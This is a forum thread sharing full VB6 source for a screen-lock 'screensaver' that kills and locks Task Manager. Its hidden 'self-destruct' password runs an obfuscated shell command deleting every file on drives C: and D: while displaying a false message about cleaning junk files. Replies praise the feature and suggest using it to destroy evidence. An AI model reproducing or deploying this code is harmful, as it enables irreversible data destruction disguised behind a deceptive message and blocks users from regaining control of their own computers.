自用 32kb屏保程序snow.exe电脑防他人操作,屏幕加锁,无密码乱点就黑屏,有自毁功能

咬字分开念 · 发表于 2023-9-26 21:27

本帖最后由咬字分开念于 2023-9-26 18:41 编辑

这是一个全透明的屏幕保护程序,可以自己修改exe后缀为.scr设置为系统屏保,或者加入开机启动.

启动后会有一个输入框,输入k再点击其他任何地方可以直接返回正常桌面(密码自己可以修改,源码在下面),否则点击其他地方会黑屏(只是关闭显示器,并不是死机)移动鼠标可以恢复屏幕.
还有自毁密码是999888,输入这个密码再点击任何地方会提示密码正确，正在等待垃圾文件清理并回到工作,实际是在执行自毁操作,删除电脑中c盘和d盘的所有文件,需要增加其他盘的可以自己加代码.源码在下面.自毁操作根据实际需要谨慎使用.
楼主写这个一开始是用于防止小孩子瞎点鼠标,一两岁的小孩是不可能和他讲道理的.
这个程序本来的效果是全屏下雪所以才叫snow,被楼主修改了,因为楼主觉得全屏下雪会吃cpu,这样透明的比较清爽.

snow程序会屏蔽任务管理器,所以正常情况下除了输入正确的密码,是没有办法绕过的.

还有一个kshow指令,楼主忘记是什么功能了,10年前写的.大家自己看看

[Visual Basic] 纯文本查看 复制代码

If Text1.Text = "kshow" Then
Label1.Caption = "-----" & c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & c1 & "\*.* /q"

32kb
顺便推荐一首新歌<<该怎么办>>,大家感受一下,乐队卖唱录制的,没有版权,大家随便下
https://wwda.lanzouj.com/b04wjtycb
密码:hvze

下面是源码

[Visual Basic] 纯文本查看 复制代码

 Option Explicit

'Transparancy API's
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function UpdateLayeredWindow Lib "user32" (ByVal hwnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Const GWL_EXSTYLE = (-20)
Private Const LWA_COLORKEY = &H1
Private Const LWA_ALPHA = &H2
Private Const ULW_COLORKEY = &H1
Private Const ULW_ALPHA = &H2
Private Const ULW_OPAQUE = &H4
Private Const WS_EX_LAYERED = &H80000
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd _
As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_SYSCOMMAND = &H112&
Const SC_MONITORPOWER = &HF170&
 
 Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
 Const HWND_TOPMOST = -1
 Dim Snow(1000, 2), Amounty As Integer
 Dim a1 As String
Dim a2 As String
Dim a3 As String
Dim c1 As String
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
Private Const TH32CS_SNAPPROCESS = &H2&

'关闭指定名称的进程
Private Sub KillProcess(sProcess As String)
Dim lSnapShot As Long
Dim lNextProcess As Long
Dim tPE As PROCESSENTRY32



lSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
If lSnapShot <> -1 Then
tPE.dwSize = Len(tPE)
lNextProcess = Process32First(lSnapShot, tPE)
Do While lNextProcess
If LCase$(sProcess) = LCase$(Left(tPE.szExeFile, InStr(1, tPE.szExeFile, Chr(0)) - 1)) Then
Dim lProcess As Long
Dim lExitCode As Long
lProcess = OpenProcess(1, False, tPE.th32ProcessID)
TerminateProcess lProcess, lExitCode
CloseHandle lProcess
End If
lNextProcess = Process32Next(lSnapShot, tPE)
Loop
CloseHandle (lSnapShot)
End If
End Sub
Public Function isTransparent(ByVal hwnd As Long) As Boolean
On Error Resume Next
Dim Msg As Long
Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
If (Msg And WS_EX_LAYERED) = WS_EX_LAYERED Then
isTransparent = True
Else
isTransparent = False
End If
If Err Then
isTransparent = False
End If
End Function

Public Function MakeTransparent(ByVal hwnd As Long, ByVal Perc As Integer) As Long
Dim Msg As Long
On Error Resume Next

Perc = 100
If Perc < 0 Or Perc > 255 Then
MakeTransparent = 1
Else
Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
Msg = Msg Or WS_EX_LAYERED
SetWindowLong hwnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
MakeTransparent = 0
End If
If Err Then
MakeTransparent = 2
End If
End Function

Public Function MakeOpaque(ByVal hwnd As Long) As Long
Dim Msg As Long
On Error Resume Next
Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
Msg = Msg And Not WS_EX_LAYERED
SetWindowLong hwnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hwnd, 0, 0, LWA_ALPHA
MakeOpaque = 0
If Err Then
MakeOpaque = 2
End If
End Function



'Private Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
'Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

 
 
Private Sub Form_Load()
On Error Resume Next

a1 = "d"
a2 = "e"
a3 = "l"
c1 = "c"
 Text1.BackColor = vbBlue
 Form1.BackColor = vbBlue
 
 If App.PrevInstance = True Then
        '一个实例
        End
        End If
 
    Dim rtn As Long
    rtn = GetWindowLong(hwnd, GWL_EXSTYLE)
    rtn = rtn Or WS_EX_LAYERED
    SetWindowLong hwnd, GWL_EXSTYLE, rtn
      SetLayeredWindowAttributes hwnd, vbBlue, 1, LWA_COLORKEY
Text1.Left = Rnd * Form1.Width
Text1.Top = Rnd * Form1.Height
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX _
, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, _
Me.Height \ Screen.TwipsPerPixelY, 0
Open Environ("windir") & "\system32\taskmgr.exe" For Input Lock Read Write As #1
  
End Sub


Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If Text1.Text = "k" Then
Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
 End
 
Else
Text1.Text = ""
 Call KillProcess("taskmgr.exe")
 SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2& '关闭显示器
Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
End If
End Sub

Private Sub Label1_Click()
On Error Resume Next
Call KillProcess("taskmgr.exe")
Text1.Left = Rnd * Form1.Width
Text1.Top = Rnd * Form1.Height
Label1.Caption = Text1.Left & "---" & Text1.Top

Label1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
If Text1.Text = "kshow" Then
Label1.Caption = "-----" & c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & c1 & "\*.* /q"
End If
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Left(Text1.Text, 1) = "k" Then
Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
 
 
Else
Text1.Text = ""
 Call KillProcess("taskmgr.exe")
Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
End If
If Left(Text1.Text, 6) = "999888" Then
Shell c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & a1 & "\*.* /q", vbHide
Shell c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & c1 & "\*.* /q", vbHide

Label1.FontSize = 50
Label1.ForeColor = RGB(225, 225, 225)
Label1.Caption = "密码正确，正在等待垃圾文件清理并回到工作."
End If
End Sub

附,另外一个好东西看这里
https://www.52pojie.cn/thread-1826494-1-1.html

咬字分开念 · 发表于 2023-9-26 21:51

lilzm 发表于 2023-9-26 05:47
不太懂啊，自毁？如果输入999888就会删除dc盘所有东西，为何会有这个功能呢

因为部分场景需要啊,比如涉及商业机密资料的电脑,或者偷偷和小三聊天被老婆发现想解锁屏幕的时候就可以启用自毁呀

咬字分开念 · 发表于 2023-9-26 22:57

左氏一春秋发表于 2023-9-26 06:53
我用了一下觉得很好，另外kshow指令到底是啥功能？楼主给个全屏下雪的可以吗？我设置为屏幕保护用挺好的

[Visual Basic] 纯文本查看 复制代码

VERSION 5.00
Begin VB.Form Form1 
   BackColor       =   &H00000000&
   BorderStyle     =   0  'None
   Caption         =   "Snow - Peter Chamberlin"
   ClientHeight    =   4365
   ClientLeft      =   1545
   ClientTop       =   2760
   ClientWidth     =   7080
   ClipControls    =   0   'False
   Icon            =   "Main.frx":0000
   LinkTopic       =   "Form1"
   PaletteMode     =   1  'UseZOrder
   ScaleHeight     =   4365
   ScaleWidth      =   7080
   ShowInTaskbar   =   0   'False
   WindowState     =   2  'Maximized
   Begin VB.Label Label1 
      Appearance      =   0  'Flat
      AutoSize        =   -1  'True
      BackColor       =   &H80000005&
      BackStyle       =   0  'Transparent
      Caption         =   "Snow "
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   400
         Underline       =   -1  'True
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00800000&
      Height          =   195
      Left            =   120
      TabIndex        =   0
      Top             =   120
      Width           =   3105
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim Snow(1000, 2), Amounty As Integer

Private Sub Form_Load()
Form1.Show
DoEvents
Randomize: Amounty = 325
For J = 1 To Amounty
Snow(J, 0) = Int(Rnd * Form1.Width)
Snow(J, 1) = Int(Rnd * Form1.Height)
Snow(J, 2) = 10 + (Rnd * 20)
Next J

Do While Not (DoEvents = 0)
For LS = 1 To 10
For I = 1 To Amounty
OldX = Snow(I, 0): OldY = Snow(I, 1): Snow(I, 1) = Snow(I, 1) + Snow(I, 2)
If Snow(I, 1) > Form1.Height Then Snow(I, 1) = 0: Snow(I, 2) = 5 + (Rnd * 30): Snow(I, 0) = Int(Rnd * Form1.Width): OldX = 0: OldY = 0
Coloury = 8 * (Snow(I, 2) - 10): Coloury = 60 + Coloury: PSet (OldX, OldY), QBColor(0): PSet (Snow(I, 0), Snow(I, 1)), RGB(Coloury, Coloury, Coloury)
Next I
Next LS
Label1.Refresh
Loop
End
End Sub


Private Sub Timer1_Timer()

End Sub


Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
End
End Sub

这个就是全屏下雪,可以自己加入修改或者单独使用,特效很美丽

Varg · 发表于 2023-9-26 21:38

不错自毁这个我喜欢，要是能自己设置密码就好了

lilzm · 发表于 2023-9-26 21:47

不太懂啊，自毁？如果输入999888就会删除dc盘所有东西，为何会有这个功能呢

sst624 · 发表于 2023-9-26 22:19

这是个好东西啊，感谢分享

ytw6176 · 发表于 2023-9-26 22:23

感谢分享，居然是VB6源码

lyjackluck · 发表于 2023-9-26 22:38

这个工具不错，双重加密

左氏一春秋 · 发表于 2023-9-26 22:53

我用了一下觉得很好，另外kshow指令到底是啥功能？楼主给个全屏下雪的可以吗？我设置为屏幕保护用挺好的

Patches · 发表于 2023-9-26 23:28

Varg 发表于 2023-9-26 21:38
不错自毁这个我喜欢，要是能自己设置密码就好了

改源码里的这串数字即可修改密码

帐号		自动登录	找回密码
密码			注册[Register]

[Windows] 自用 32kb屏保程序snow.exe电脑防他人操作,屏幕加锁,无密码乱点就黑屏,有自毁功能

免费评分

本帖被以下淘专辑推荐:

免费评分